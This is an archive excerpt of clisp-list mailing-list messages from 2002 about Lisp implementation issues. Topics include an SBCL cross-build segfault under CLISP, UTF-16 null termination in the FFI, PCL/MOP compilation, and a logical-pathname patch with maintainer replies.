  914	  pushSTACK(obj); pushSTACK(caller);
  (gdb) zout caller
  ; EVAL
  $2 = (void *) 0x8247665

leads me to that diagnosis. (zouting obj, and most other things in the
backtrace at this point, reliably cause segfaults).

As for

  *** - handle_fault error2 ! address = 0xC0 not in [0x202AF000,0x20A2511C) !
  SIGSEGV cannot be cured. Fault address = 0xC0.
  Segmentation fault

well, I have tried wandering about the stack, stopping before this
segfault, but I confess that I haven't managed to find anything out.

However, sbcl's CVS is now in a state where it makes sense to give
instructions for replicating this failure, in case anyone else would
like to try their hand... it's still a little involved, so bear with me.

Firstly, to check out sbcl from CVS, do

  cvs -d:pserver:anonymous@cvs.sbcl.sourceforge.net:/cvsroot/sbcl co sbcl

(with optional -z3 for compression, and possibly having done cvs login
first). To this, you will need to apply the attached patch (which
represent things that are needed to make some internals work under
clisp, but aren't understood sufficiently well to be committed to CVS),
with, from within the sbcl directory:

  patch -p0 < clisp-build.diff

[ feel free to look at it and explain the twisted reasoning behind the
  cmucl-derived code :-) ]

Then (and this bit assumes that you're running on x86/linux; if you're
not, this procedure is still possible, though more complex, so let me
know if you'd like the instructions):

user@host:path/to/sbcl$ sh ./make-config.sh
[ ... sets up relevant symlinks ... ]
user@host:path/to/sbcl$ SBCL_XC_HOST='path/to/clisp' sh ./make-host-1.sh
[ ... builds a cross-compiler, and dumps a header file needed to build
  the runtime ... this bit should go without errors ]
user@host:path/to/sbcl$ GNUMAKE=make sh ./make-target-1.sh
[ ... builds the runtime ... this bit should go with plenty of warnings
  but without errors ]
user@host:path/to/sbcl$ path/to/clisp
and then you get a clisp prompt
[1]> 
at which point you start pasting in forms from make-host-2.sh; normally
this would be run uninteractively, but you're going to need
interaction... so starting with the 
  (setf *print-level* 5 *print-length* 5)
  (load "src/cold/shared.lisp")
  (in-package "SB-COLD")
  ...
carry on pasting in forms one by one. After pasting in
  (load-or-cload-xcompiler #'host-load-stem)
clisp should load the cross-compiler fas files;
then, once you get down to
  (load "src/cold/compile-cold-sbcl.lisp")
the cross-compiler should start running, printing plenty of diagnostic
messages as is a verbose compiler's wont.

During compilation of src/code/pred.lisp, a continuable error is
signalled (for some reason that I haven't yet tracked down, SBCL wants
to intern "NIL-1" into the CL package; this is a bug in SBCL, but it can
be "continue"d from for now; then, about a minute later, during
compilation of src/code/array.lisp, I get this segfault the cause of
which I have not had very much success in finding :-(

I appreciate that this is the kind of bug report that is a nightmare
(it's not exactly a "small reproduceable test case", is it?), so I
understand if no-one gets round to tracking it down for a while... but
if anyone does have the time even to verify this, it would probably
help.

Many thanks,

Cheers,

Christophe
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Index: src/code/defstruct.lisp
===================================================================
RCS file: /cvsroot/sbcl/sbcl/src/code/defstruct.lisp,v
retrieving revision 1.42
diff -u -r1.42 defstruct.lisp
--- src/code/defstruct.lisp	19 Apr 2002 10:51:27 -0000	1.42
+++ src/code/defstruct.lisp	1 May 2002 17:25:43 -0000
@@ -177,10 +177,18 @@
 
 ;;; Return the name of a defstruct slot as a symbol. We store it as a
 ;;; string to avoid creating lots of worthless symbols at load time.
+;;;
+;;; Also, we should be careful not to intern in the CL package, which
+;;; is undefined behaviour; in that case, we'll use SANE-PACKAGE
+;;; (relevant when we defstruct RESTART, where the accessor will be in
+;;; the CL package, but we don't want the lambda list symbols there
+;;; too...)
 (defun dsd-name (dsd)
   (intern (string (dsd-%name dsd))
 	  (if (dsd-accessor-name dsd)
-	      (symbol-package (dsd-accessor-name dsd))
+	      (if (eql (symbol-package (dsd-accessor-name dsd)) *cl-package*)
+		  (sane-package)
+		  (symbol-package (dsd-accessor-name dsd)))
 	      (sane-package))))
 
 ;;;; typed (non-class) structures
Index: src/compiler/assem.lisp
===================================================================
RCS file: /cvsroot/sbcl/sbcl/src/compiler/assem.lisp,v
retrieving revision 1.14
diff -u -r1.14 assem.lisp
--- src/compiler/assem.lisp	25 Apr 2002 19:26:55 -0000	1.14
+++ src/compiler/assem.lisp	1 May 2002 17:25:43 -0000
@@ -1294,7 +1294,11 @@
 	(i0 0))
     (flet ((frob (i0 i1)
 	     (when (< i0 i1)
-	       (funcall function (subseq buffer i0 i1)))))
+	       (let ((fp (fill-pointer buffer)))
+		 (when (< fp i1)
+		   (setf (fill-pointer buffer) i1))
+		 (funcall function (subseq buffer i0 i1))
+		 (setf (fill-pointer buffer) fp)))))
       (dolist (note (segment-annotations segment))
 	(when (filler-p note)
 	  (let ((i1 (filler-index note)))
Index: src/compiler/x86/parms.lisp
===================================================================
RCS file: /cvsroot/sbcl/sbcl/src/compiler/x86/parms.lisp,v
retrieving revision 1.27
diff -u -r1.27 parms.lisp
--- src/compiler/x86/parms.lisp	1 May 2002 13:56:51 -0000	1.27
+++ src/compiler/x86/parms.lisp	1 May 2002 17:25:44 -0000
@@ -44,8 +44,9 @@
 ;;;   bias and exponent min/max are not the same as shown in the 486 book.
 ;;;   They may be correct for how Python uses them.
 (defconstant single-float-bias 126)	; Intel says 127.
-(defconstant-eqx single-float-exponent-byte    (byte 8 23) #'equalp)
-(defconstant-eqx single-float-significand-byte (byte 23 0) #'equalp)
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (defparameter single-float-exponent-byte    (byte 8 23))
+  (defparameter single-float-significand-byte (byte 23 0)))
 ;;; comment from CMU CL:
 ;;;   The 486 book shows the exponent range -126 to +127. The Lisp
 ;;;   code that uses these values seems to want already biased numbers.
@@ -55,16 +56,18 @@
 (defconstant single-float-trapping-nan-bit (ash 1 22))
 
 (defconstant double-float-bias 1022)
-(defconstant-eqx double-float-exponent-byte    (byte 11 20) #'equalp)
-(defconstant-eqx double-float-significand-byte (byte 20 0)  #'equalp)
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (defparameter double-float-exponent-byte    (byte 11 20))
+  (defparameter double-float-significand-byte (byte 20 0)))
 (defconstant double-float-normal-exponent-min 1)
 (defconstant double-float-normal-exponent-max #x7FE)
 (defconstant double-float-hidden-bit (ash 1 20))
 (defconstant double-float-trapping-nan-bit (ash 1 19))
 
 (defconstant long-float-bias 16382)
-(defconstant-eqx long-float-exponent-byte    (byte 15 0) #'equalp)
-(defconstant-eqx long-float-significand-byte (byte 31 0) #'equalp)
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (defparameter long-float-exponent-byte    (byte 15 0))
+  (defparameter long-float-significand-byte (byte 31 0)))
 (defconstant long-float-normal-exponent-min 1)
 (defconstant long-float-normal-exponent-max #x7FFE)
 (defconstant long-float-hidden-bit (ash 1 31))		; actually not hidden
@@ -92,11 +95,12 @@
 (defconstant float-round-to-positive 2)
 (defconstant float-round-to-zero     3)
 
-(defconstant-eqx float-rounding-mode     (byte 2 10) #'equalp)
-(defconstant-eqx float-sticky-bits       (byte 6 16) #'equalp)
-(defconstant-eqx float-traps-byte        (byte 6  0) #'equalp)
-(defconstant-eqx float-exceptions-byte   (byte 6 16) #'equalp)
-(defconstant-eqx float-precision-control (byte 2  8) #'equalp)
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (defparameter float-rounding-mode     (byte 2 10))
+  (defparameter float-sticky-bits       (byte 6 16))
+  (defparameter float-traps-byte        (byte 6  0))
+  (defparameter float-exceptions-byte   (byte 6 16))
+  (defparameter float-precision-control (byte 2  8)))
 (defconstant float-fast-bit 0) ; no fast mode on x86
 
 ;;;; description of the target address space

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> * In message <19720501095712.A4644@nortelnetworks.com>
> * On the subject of "[clisp-list] Please explain"
> * Sent on Mon, 1 May 1972 09:57:12 -0400
> * Honorable Barry Friedman <friedman@nortelnetworks.com> writes:
>
>   I'm using GNU CLISP 2.27 (released 2001-07-17) and am trying to
please upgrade.

>   invoke a lisp program from a cgi script.  This now produces the
>   message:
> 
>     *** - The value of *TERMINAL-IO* was not a stream: 
>     #<CLOSED TERMINAL-STREAM>. 
>     It has been changed to #<IO TERMINAL-STREAM>
> 
>     and terminates.

I think something like this was reported some months ago.
if there was a reproducible test case, them it was fixed,
so either 2.28 or at least CVS should work.

>   (This did not happen with an older version of clisp: 1999-07-22 )

interesting.

>   How can I prevent this from happening?

please try to create a reproducible test case.


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Hi,

I've got a FFI:WITH-FOREIGN-STRING ready, except for one single, yet major issue/bug, without which it cannot be released. I'd like to poll suggestion on it.

The macro allows to circumvent the 1:1 restriction on string conversions
It's parameters are very similar to LispWorks'.

The problem left is about byte-count for zero-terminated-strings.

(defmacro with-foreign-string
  ((foreign-variable element-count byte-count
   &key (encoding 'custom:*foreign-encoding*) (null-terminated-p 'T))
   string &body body)
LispWorks says:
The macro with-foreign-string is used to dynamically convert
a Lisp string to a foreign string and execute a list of
forms using the foreign string. The macro first converts
string, a Lisp string, into a foreign string. The symbol pointer
is bound to a pointer to the start of the string, the symbol
element-count is set equal to the number of elements in the
string, and the symbol byte-count is set equal to the number of
bytes the string occupies. Then the list of forms specified by
body is executed. Finally, the memory allocated for the foreign
string and pointer is de-allocated. [...]
The null-terminated-p keyword specifies whether the foreign
string is terminated with a null character. It defaults to t. If
the string terminates in a null character, it is included in the
element-count.

The core of the problem is: how to derive the byte-count from the encoding, so that zero-termination makes sense?

A single zero *byte* is not correct for all encodings, since foreign functions receiving a UTF-16/UCS-2/UNICODE-32 string can do 16-bit or 32-bit wide access to such a string.
Of course, I could always add 4 zero bytes at the end of the buffer, but LispWorks' interface yields the byte-count, so I must produce it. It's not reasonable IMHO to drop the byte-count, since the correct buffer size may be important for foreign-functions, so the programmer ought to know it and pass it on.

(with-foreign-string (fv e b :encoding charset:utf-16) "abc"
   (list e b))
Ought to yield (4 10), for #(254 255 0 97 0 98 0 99 0 0)
Currently it returns (4 9).
Using charset:unicode-32 is currently not broken:
(4 8) for #(0 0 0 97 0 0 0 98 0 0 0 99 0 0 0 0)

You can see from the example that a single 0 byte cannot terminate
UTF-16 or UCS-2 strings: 0+junk is not distinguishible from 0+97, i.e. #\a.


I thought I could use the min_bytes_per_char slot of
CLISP's encoding structure:
  # Minimum number of bytes needed to represent a character.
  uintL min_bytes_per_char;

It works perfectly for many encodings (e.g. UCS-2, UNICODE-32,
ISO-8859-1 ...)
But it is broken for UTF-16, which is important for MS-Windows.

The problem may be with libiconv.

Sam Steingold says:
>are you sure you need these numbers to be correct to get the
>correct translations?

Is there any other idea beside using this slot?


Here's the reference to the CLISP bug report with additional information:
> Bugs item #550603, was opened at 2002-04-30 08:41
> You can respond by visiting: 
> http://sourceforge.net/tracker/?func=detail&atid=101355&aid=55
> 0603&group_id=1355

> Category: libiconv
> Summary: UTF-16 min/max_bytes_per_char must be 2

> Initial Comment:

> impnotes says: "UTF-16, the 16-bit UNICODE character 
> set. Every character is represented as two bytes."
 
> However, TheEncoding->min/max_bytes_per_char is 
> currently 1, resp.8.
[...]

Regards,
	Jorg Hohle.


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Date: Thu May  2 03:20:24 2002
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Hallo

Now I read about another compile-method in the "gambit" docs and the
compiler is Watcom C/C++. They said something very intressting there:

..........................
Under Windows-NT/95 you can pick any version if you plan to only 
use the interpreter but the version built with the Watcom C/C++ 
compiler is suggested because it is the most efficient, roughly 
twice the speed of the one built with the Microsoft Visual C++ 4.0
compiler.
..........................

So when there is the choice the argument about speed seems very
important. But sorry, I can't test this out.

just point to something completely different
stefan

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>>>>> "lin8080" == lin8080  <lin8080@freenet.de> writes:

Hi,

(sorry for replying so late.)

    lin8080> .IMHO, if it is set in stone by the hyperspec that a
    lin8080> "correctable" .error is signalled there should be a
    lin8080> chance to actually correct the .error and the interpreter
    lin8080> should wait for user input.

    lin8080> Yes, that is what happend. 

Well, it didn't happen with clisp -x '(assert (>= -1 0))'. The
interpreter decided on itself to retry evaluating the test-form.

    lin8080> .Otherwise if the interpreter is meant to be run in some
    lin8080> sort of .non-interaction mode the interpreter should
    lin8080> signal the error and just .exit without retrying to
    lin8080> evaluate the test-form.

    lin8080> Hmm. Do you mean, the "correctable error" should be an
    lin8080> normal "error"? I can not find a function like "proof" or
    lin8080> "examine", but find a makro "check-type" or
    lin8080> "ldb-test". Is there a equivalent to "assert"?

This has been already changed as I proposed. 

clisp -x '(assert (>= -1 0))' with current CVS clisp yields:

*** - (>= -1 0) must evaluate to a non-NIL value.
Bye.

Additionally, there is a new option "-interactive-debug"; 
'clisp --help' says:

Actions:
 -c [-l] lispfile [-o outputfile] - compile LISPFILE
 -x expression - execute the expression, then exit
 lispfile [argument ...] - load lispfile, then exit
These actions put CLISP into a batch mode, which is overridden by
 -interactive-debug - allow interaction for failed ASSERT and friends
Default action is an interactive read-eval-print loop.


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On Wed, 1 May 2002 12:57:10 -0400, Peter Denno wrote:

> Does anyone here have any thoughts on developing a MOP (such as described in 
> AMOP) for CLisp?

Do you mean something more integrated with CLISP than PCL?


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> * In message <DFD875E85664D3118FA6080006277DE705822AE7@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_bytes_per_char mu st be 2"
> * Sent on Thu, 2 May 2002 10:27:16 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> I've got a FFI:WITH-FOREIGN-STRING ready, except for one single, yet
> major issue/bug, without which it cannot be released. I'd like to poll
> suggestion on it.
> 
> The macro allows to circumvent the 1:1 restriction on string conversions
> It's parameters are very similar to LispWorks'.
> 
> The problem left is about byte-count for zero-terminated-strings.
> 
> (defmacro with-foreign-string
>   ((foreign-variable element-count byte-count
>    &key (encoding 'custom:*foreign-encoding*) (null-terminated-p 'T))
>    string &body body)
> LispWorks says:
> The macro with-foreign-string is used to dynamically convert
> a Lisp string to a foreign string and execute a list of
> forms using the foreign string. The macro first converts
> string, a Lisp string, into a foreign string. The symbol pointer
> is bound to a pointer to the start of the string, the symbol
> element-count is set equal to the number of elements in the
> string, and the symbol byte-count is set equal to the number of
> bytes the string occupies. Then the list of forms specified by
> body is executed. Finally, the memory allocated for the foreign
> string and pointer is de-allocated. [...]
> The null-terminated-p keyword specifies whether the foreign
> string is terminated with a null character. It defaults to t. If
> the string terminates in a null character, it is included in the
> element-count.
> 
> The core of the problem is: how to derive the byte-count from the
> encoding, so that zero-termination makes sense?

use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then
NULL-terminate it and turn into a foreign string.

> A single zero *byte* is not correct for all encodings, since foreign
> functions receiving a UTF-16/UCS-2/UNICODE-32 string can do 16-bit or
> 32-bit wide access to such a string.

> Of course, I could always add 4 zero bytes at the end of the buffer,
> but LispWorks' interface yields the byte-count, so I must produce
> it. It's not reasonable IMHO to drop the byte-count, since the correct
> buffer size may be important for foreign-functions, so the programmer
> ought to know it and pass it on.

> 
> (with-foreign-string (fv e b :encoding charset:utf-16) "abc"
>    (list e b))
> Ought to yield (4 10), for #(254 255 0 97 0 98 0 99 0 0)
> Currently it returns (4 9).
> Using charset:unicode-32 is currently not broken:
> (4 8) for #(0 0 0 97 0 0 0 98 0 0 0 99 0 0 0 0)
> 
> You can see from the example that a single 0 byte cannot terminate
> UTF-16 or UCS-2 strings: 0+junk is not distinguishible from 0+97, i.e. #\a.
> 
> 
> I thought I could use the min_bytes_per_char slot of
> CLISP's encoding structure:
>   # Minimum number of bytes needed to represent a character.
>   uintL min_bytes_per_char;
> 
> It works perfectly for many encodings (e.g. UCS-2, UNICODE-32,
> ISO-8859-1 ...)
> But it is broken for UTF-16, which is important for MS-Windows.
> 
> The problem may be with libiconv.
> 
> Sam Steingold says:
> >are you sure you need these numbers to be correct to get the
> >correct translations?
> 
> Is there any other idea beside using this slot?
> 

(length (convert-string-to-bytes string encoding))

> Here's the reference to the CLISP bug report with additional information:
> > Bugs item #550603, was opened at 2002-04-30 08:41
> > You can respond by visiting: 
> > http://sourceforge.net/tracker/?func=detail&atid=101355&aid=55
> > 0603&group_id=1355
> 
> > Category: libiconv
> > Summary: UTF-16 min/max_bytes_per_char must be 2
> 
> > Initial Comment:
> 
> > impnotes says: "UTF-16, the 16-bit UNICODE character 
> > set. Every character is represented as two bytes."
>  
> > However, TheEncoding->min/max_bytes_per_char is 
> > currently 1, resp.8.
> [...]
> 
> Regards,
> 	Jorg Hohle.
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Hi,
> use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then
> NULL-terminate it and turn into a foreign string.

> (length (convert-string-to-bytes string encoding))

My long mail was not clear enough.
How many 0 bytes to put at the end?

As I explained, a single 0 byte is not the answer for UTF-16, UCS-2, UNICODE-32 et al.

And (ext:convert-string-to-bytes (string (code-char 0)) #) doesn't yield the correct answer either, for all encodings (hint: try UTF-7 or UTF-16).

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> * In message <DFD875E85664D3118FA6080006277DE705822B67@U8PN2.blf01.telekom.de>
> * On the subject of "Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2"
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>
> > use CONVERT-STRING-TO-BYTES to get the appropriate byte array, then
> > NULL-terminate it and turn into a foreign string.
> 
> > (length (convert-string-to-bytes string encoding))
> 
> How many 0 bytes to put at the end?
just one.

> As I explained, a single 0 byte is not the answer for UTF-16, UCS-2, UNICODE-32 et al.

you must strip the NULL before converting the foreign string back to a
LISP string

NULL is a C artifact, it has no place in the LISP world.

recap:

take a lisp string.
convert it to bytes using any encoding.
append a NULL.
process as a C (ASCII, 8bit byte) string. [what use for C is the #(0 0 0 65)?!]
drop the last NULL byte. [what if it's not there anymore?]
convert back to LISP, using any encoding. [what if this fails?]

I am pretty I am missing something here.
It can't be that simple.

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Sam Steingold wrote:
> take a lisp string.
> convert it to bytes using any encoding.
> append a NULL.
This is misdefined, as explained previously. A single 8bit 0 is not enough.

> process as a C (ASCII, 8bit byte) string. [what use for C is 
> the #(0 0 0 65)?!]
That's multibyte at work. #\A can be represented using 16 or even 32bits.
This example shows UNICODE-32-BIG-ENDIAN.

C/C++/Java/xyz code which does UTF-16/UCS-2 processes strings
in terms of UINT16 (or UINT32). A terminating UINT16 0 is
the natural extension to 16 bits of the old 8bit C 0-termination
convention for strings. That's what I believe MS-Windows and all wide-char manipulating programs etc. pp. use.
A single UINT8 0 is not enough, as the example shows.

In other words, such code does access in terms of (C-ARRAY-PTR UINT16),
which expects a trailing 16bit 0.

C-STRING is equivalent to (C-ARRAY-PTR CHARACTER), somewhat
to (C-ARRAY-PTR UINT8). That's suitable for classic 8bit strings.
(C-ARRAY-PTR UINT16) is of a different kind, which necessitates
own manipulating functions, e.g. strlenW().

What I'm still looking for is: how many 8bit zeroes to add to
correctly 0-terminate my string and tell the actual
byte-count to the programmer?

> It can't be that simple.
Sadly, min_bytes_per_char still looks like the solution - if
the slots were correct for all encodings, which they are obviously
not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16).


> you must strip the NULL before converting the foreign string back to a
> LISP string
I know, but here I'm still at Lisp->C, not the converse.
But I'll get the same problem again if trying to implement LispWorks convert-from-foreign-string :null-terminated-p. The 0 to detect is 8, 16 or 32 bits wide...
(CONVERT-FROM-FOREIGN-STRING #<foreign 0 0 0 65 0 0 0 0)> :encoding charset:ucs-4 :null-terminated-p T) must yield "A", not "" because 8bit zero was found first).
That's the character equivalent of (C-ARRAY-PTR UINT32).

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	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE705822BDD@U8PN2.blf01.telekom.de>
> * On the subject of "AW: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2"
> * Sent on Fri, 3 May 2002 13:17:04 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> What I'm still looking for is: how many 8bit zeroes to add to
> correctly 0-terminate my string and tell the actual
> byte-count to the programmer?

play safe: append max_bytes_per_char (8) NULL bytes, give the character
count as the length of the original LISP string +1.

> > It can't be that simple.
> Sadly, min_bytes_per_char still looks like the solution - if
> the slots were correct for all encodings, which they are obviously
> not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16).

this cannot be done properly for iconv-based encodings since there is
no way to query libiconv for this information.
I think these are set correctly for built-in encodings.
Bruno?


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How to implement Lispworks' CONVERT-FROM-FOREIGN-STRING :null-terminated-p?
(the converse)


> play safe: append max_bytes_per_char (8) NULL bytes, give the 
> character
> count as the length of the original LISP string +1.
+1 is not correct for UTF-16, UCS-2, UNICODE-32 etc.

I can add 4-8-1000 zeros, but the LispWorks API also requires telling the byte-count to the programmer. And there, +1 is not correct (unexpected odd bytecount for UTF-16/32(!), not +4, nor +2, nor +8).

I don't believe 
(with-foreign-string (foreign elem-size bytecount
        :encoding :ascii
        :null-terminated-p) "A"
  (declare (ignore foreign))
  bytecount)
should return 1001, nor 9, nor 5. Just 2.
But UCS-2 -> 4, not 3, not 1002
and UNICODE-32 -> 8

> this cannot be done properly for iconv-based encodings since there is
> no way to query libiconv for this information.
> I think these are set correctly for built-in encodings.
I believe this too, that's why I reported this as libiconv bug.

lispbibl.d has the slots and doesn't document that they may not be valid.

What's left is
 o have iconv report on information
 o have CLISP use iconvo information
 o declare failure to implement LispWorks with-foreign-string API: no null-terminated-p, always (hidden) trailing N zeroes.

 o declare total failure to implement the converse function convert-from-foreign-string :null-terminated-p. That means, UTF-16 etc. strings are not usable with CLISP. E.g. No easy access to any of Microsoft's (and other) FooBarW() functions.

Regards,
	Jorg Hohle.


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Thanks, Paolo.

I did not realize that PCL implemented the MOP to any extent. I now see that 
it does. So I need to start there. 

Has anyone tried to compile PCL with Clisp lately?

I tried to build PCL with make (using the CMU repository distribution under 
clisp, others do not have clisp-low.lsp nor the makefile). I hit a few 
problems, some of which might be spurious -- resulting from making a wrong 
choice somewhere. I'll look into this more, but if anyone has any immediate 
thoughts on any of the following, those would be appreciated:


(1)
Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl-orig/low.lsp 
...
*** - No class named: STD-INSTANCE.
0 errors, 0 warnings

I wrote a work-around for this. It involves forcing find-class (the one in 
macros.lsp) to use the distribution's defstruct for std-instance -- not very 
elegant, to say the least.  My compilation is not far enough along in the 
bootstrapping to tell whether or not my guess is ok.

(2) 
Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl/defclass.lsp 
...
*** - FUNCALL: the function WALKER::SPECIAL-FORM-P is undefined

This one occurs after making the workaround described above.
special-form-p is used in walker:walk-form-internal. Lispworks has a function 
by such a name in the lw package. cmulisp doesn't, and yet pcl runs there.

(3) 
Compiling file /home/pdenno/downloaded/lisp/clisp/packages/pcl/cache.lsp ...
WARNING in function MAKE-WRAPPER-INTERNAL in lines 317..381 :
.GATHERING1. is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
*** - EVAL: the function GATHER is undefined

This one occurs after writing yet more work-arounds, so I may have done 
something wrong. Iterate.lsp exports a symbol "gather" yet doesn't provide a 
value for it. I don't think it is given a value anywhere (cmucl has this 
symbol too, but likewise it doesn't have a value (at startup) nor a function 
value). 

Any thoughts on any of this would be appreciated.


On Thursday 02 May 2002 08:00 am, Paolo Amoroso wrote:
> On Wed, 1 May 2002 12:57:10 -0400, Peter Denno wrote:
> > Does anyone here have any thoughts on developing a MOP (such as described
> > in AMOP) for CLisp?
>
> Do you mean something more integrated with CLISP than PCL?
>
>
> Paolo

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- Peter 

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> * In message <20020501172757.GA13192@cam.ac.uk>
> * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> * Sent on Wed, 1 May 2002 18:27:57 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:

did you try compiling CLISP with -DSAFETY=3?
this should catch many problems earlier and make debugging easier.
Please try it!
thanks.

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Sam writes:

> > Sadly, min_bytes_per_char still looks like the solution - if
> > the slots were correct for all encodings, which they are obviously
> > not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16).
> 
> this cannot be done properly for iconv-based encodings since there is
> no way to query libiconv for this information.

There is no direct way, but an indirect one that works for all
encodings except UTF-7 is as follows.

(defun number-of-zero-bytes (encoding)
  (if (eq encoding charset:utf-7)
    1
    (- (length (convert-string-to-bytes (coerce (list #\Null #\Null) 'string) encoding))
       (length (convert-string-to-bytes (coerce (list #\Null) 'string) encoding)))))

UTF-7 is special: When you zero-terminate an UTF-7 encoded string, it
is not valid UTF-7 any more. Just forget about this obsolete encoding.
In the function I return 1 for it because this is what most people
will expect.

Bruno


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please remove me from lisp mailing list.


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Hi clisp people. Great package. Very nice work.

I had a few problems using logical pathnames on my
solaris box, particularly when the
*PARSE-NAMESTRING-ANSI* feature was enabled (hey, we
have lots of old code that hits the spec, and don't
use PCs with "C:" filenames).

I am attaching a patch against v2.28 that does the
following:
(a) allows chars beyond A-Za-z0-9- in logical
pathnames (for example: "_")
(b) doesn't upcase components of logical pathnames
(c) doesn't downcase pathnames in the name of a
"preference for lowercase"
Don't know if these changes are something you'd want
to put into the main distribution, but there they are
anyway.

The patch also fixes one unbound variable problem in
the compiler that arose when I had :verbose NIL (or
something like that--you'll see from the patch).

Hope this might be useful to you in the future.

Speaking of which, I really need multithreading, with
exactly the special variable treatment spelled out in
multithread.txt. I'd be willing to help. If the
maintainers want to contact me, send email to this
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*** src/pathname.d.dist	Thu Feb 28 14:49:30 2002
--- src/pathname.d	Mon May  6 14:39:30 2002
***************
*** 1127,1135 ****
  local bool legal_logical_word_char (chart ch) {
    ch = up_case(ch);
    var cint c = as_cint(ch);
    if (((c >= 'A') && (c <= 'Z'))
        || ((c >= '0') && (c <= '9'))
!       || (c == '-'))
      return true;
    else
      return false;
--- 1127,1136 ----
  local bool legal_logical_word_char (chart ch) {
    ch = up_case(ch);
    var cint c = as_cint(ch);
+   # gf: Accept many more chars as valid in logical pathnames (eg '_')
    if (((c >= 'A') && (c <= 'Z'))
        || ((c >= '0') && (c <= '9'))
!       || (c == '-') || (c == '_') || (c == '+') || (c == '='))
      return true;
    else
      return false;
***************
*** 1577,1583 ****
      {
        var const chart* ptr1 = &TheSstring(STACK_2)->data[startz.index];
        var chart* ptr2 = &TheSstring(result)->data[0];
!       dotimespL(len,len, { *ptr2++ = up_case(*ptr1++); });
      }
      return result;
    }
--- 1578,1586 ----
      {
        var const chart* ptr1 = &TheSstring(STACK_2)->data[startz.index];
        var chart* ptr2 = &TheSstring(result)->data[0];
!       # gf: Don't upcase pathname elements
!       # dotimespL(len,len, { *ptr2++ = up_case(*ptr1++); });
!       dotimespL(len,len, { *ptr2++ = *ptr1++; });
      }
      return result;
    }
***************
*** 5443,5449 ****
  local object customary_case (object string) {
    if (!simple_string_p(string))
      return string;
!  #if defined(PATHNAME_UNIX) || defined(PATHNAME_OS2) || defined(PATHNAME_WIN32) || defined(PATHNAME_RISCOS)
    # operating system with preference for small letters
    return string_downcase(string);
   #endif
--- 5446,5453 ----
  local object customary_case (object string) {
    if (!simple_string_p(string))
      return string;
!  # gf: Don't downcase unix pathnames!
!  #if defined(PATHNAME_OS2) || defined(PATHNAME_WIN32) || defined(PATHNAME_RISCOS)
    # operating system with preference for small letters
    return string_downcase(string);
   #endif
*** src/compiler.lisp.dist	Fri Mar  1 00:01:49 2002
--- src/compiler.lisp	Fri May  3 16:17:01 2002
***************
*** 244,250 ****
  (defvar *compile-file-truename* nil) ; CLtL2 p. 680
  (defvar *compile-file-lineno1* nil)
  (defvar *compile-file-lineno2* nil)
! (defvar *c-listing-output*) ; Compiler-Listing-Stream or nil
  (defvar *c-error-output*) ; Compiler-Error-Stream
  ;; essentially
  ;; *c-error-output* = (make-broadcast-stream *error-output* *c-listing-output*)
--- 244,250 ----
  (defvar *compile-file-truename* nil) ; CLtL2 p. 680
  (defvar *compile-file-lineno1* nil)
  (defvar *compile-file-lineno2* nil)
! (defvar *c-listing-output* nil) ; Compiler-Listing-Stream or nil
  (defvar *c-error-output*) ; Compiler-Error-Stream
  ;; essentially
  ;; *c-error-output* = (make-broadcast-stream *error-output* *c-listing-output*)

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----- Forwarded message from Bruno Haible -----


Please direct mails about GNU CLISP to <clisp-list@lists.sourceforge.net>.
Sam Steingold and others are now doing clisp development.

Viollon Sylvain writes:
> Hello,
> 
>  I can't see how doing to call lisp function in a c program, when the
> main is in C. 
>   It's in order to use CLisp in a french national computers concours,
> Prologin. (www.prologin.org).
>   Can you help me.
> (excuse me for my bad english) 

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On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote:
> Bruno just fixed the bug what was the immediate cause of your crash.
> Please do "cvs up; ./configure --with-debug --build build-dir"
> and try again.

Thank you very much -- I shall give this a try (though probably not
until the weekend) and let you know what happens next...

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Bruno just fixed the bug what was the immediate cause of your crash.
Please do "cvs up; ./configure --with-debug --build build-dir"
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Hi George,

> * In message <20020507155703.48105.qmail@web12601.mail.yahoo.com>
> * On the subject of "[clisp-list] clisp logical pathnames on unix"
> * Sent on Tue, 7 May 2002 08:57:03 -0700 (PDT)
> * Honorable George Ferguson <ferguson731@yahoo.com> writes:
>
> Hi clisp people. Great package. Very nice work.
thanks.

> I am attaching a patch against v2.28 that does the following:
> (a) allows chars beyond A-Za-z0-9- in logical
> pathnames (for example: "_")

<http://www.lisp.org/HyperSpec/Body/sec_19-3-1.html>
19.3.1 Syntax of Logical Pathname Namestrings
...
word---one or more uppercase letters, digits, and hyphens
...


> (b) doesn't upcase components of logical pathnames

<http://www.lisp.org/HyperSpec/Body/sec_19-3-1-1-7.html>:
19.3.1.1.7 Lowercase Letters in a Logical Pathname Namestring
When parsing words and wildcard-words, lowercase letters are translated to uppercase.

> (c) doesn't downcase pathnames in the name of a
> "preference for lowercase"

logical pathnames are "the lowest common denominator" across all
platforms on which CL and its predecessors have ever run.
thus all the conversions and limitations.

> The patch also fixes one unbound variable problem in
> the compiler that arose when I had :verbose NIL (or
> something like that--you'll see from the patch).

could you please supply an exact test case?

> Speaking of which, I really need multithreading, with exactly the
> special variable treatment spelled out in multithread.txt. I'd be
> willing to help.

If you can and want to work on this, please go ahead.
subscribe to <clisp-devel> and ask questions, brag, and send patches
there.

> If the maintainers want to contact me, send email to this account and
